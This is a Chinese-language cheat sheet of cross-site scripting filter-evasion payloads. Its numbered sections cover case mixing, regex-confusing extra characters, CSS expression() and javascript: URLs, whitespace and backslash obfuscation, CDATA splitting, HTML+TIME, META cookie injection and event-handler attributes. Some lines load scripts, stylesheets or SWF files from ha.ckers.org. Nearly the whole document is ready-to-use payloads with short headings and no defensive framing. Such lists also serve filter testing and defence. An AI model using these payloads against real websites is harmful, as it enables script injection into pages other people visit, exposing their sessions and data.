1. 改變字元大小寫
<sCript>alert('d')</scRipT>
2. 利用多加一些其它字元來規避Regular Expression的檢查
<<script>alert('c')//<</script>
<SCRIPT a=">" SRC="t.js"></SCRIPT>
<SCRIPT =">" SRC="t.js"></SCRIPT>
<SCRIPT a=">" '' SRC="t.js"></SCRIPT>
<SCRIPT "a='>'" SRC="t.js"></SCRIPT>
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
<SCRIPT a=">'>" SRC="t.js"></SCRIPT>
3. 以其它副檔名取代.js
<script src="bad.jpg"></script>
4. 將Javascript寫在CSS檔裡
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
example:
body {
background-image: url('javascript:alert("XSS");')
}
5. 在script的tag裡加入一些其它字元
<SCRIPT/SRC="t.js"></SCRIPT>
<SCRIPT/anyword SRC="t.js"></SCRIPT>
6. 使用tab或是new line來規避
<img src="jav ascr ipt:alert('XSS3')">
<img src="jav ascr ipt:alert('XSS3')">
<IMG SRC="jav ascript:alert('XSS');">
-> tag
-> new line
7. 使用"\"來規避
<STYLE>@im\port'\ja\vasc\ript:alert("XSS32")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS33"))'>
<IMG STYLE="xss:expr/*anyword*/ession(alert('sss'))">
<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
8. 使用Hex encode來規避(也可能會把";"拿掉)
<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
原始碼：<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">
原始碼：<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">
9. script in HTML tag
<body onload=」alert('onload')」>
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
10. 在swf裡含有xss的code
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
11. 利用CDATA將xss的code拆開，再組合起來。
<XML ID=I><X><C>
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X>
</xml>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
12. 利用HTML+TIME。
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
13. 透過META寫入Cookie。
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
14. javascript in src , href , url
<IFRAME SRC=javascript:alert('13')></IFRAME>
<img src="javascript:alert('XSS3')">
<IMG DYNSRC="javascript:alert('XSS20')">
<IMG LOWSRC="javascript:alert('XSS21')">
<LINK REL="stylesheet" HREF="javascript:alert('XSS24');">
<IFRAME SRC=javascript:alert('XSS27')></IFRAME>
<TABLE BACKGROUND="javascript:alert('XSS29')">
<DIV STYLE="background-image: url(javascript:alert('XSS30'))">
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert('XSS35')");}
</STYLE><A CLASS=XSS></A>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
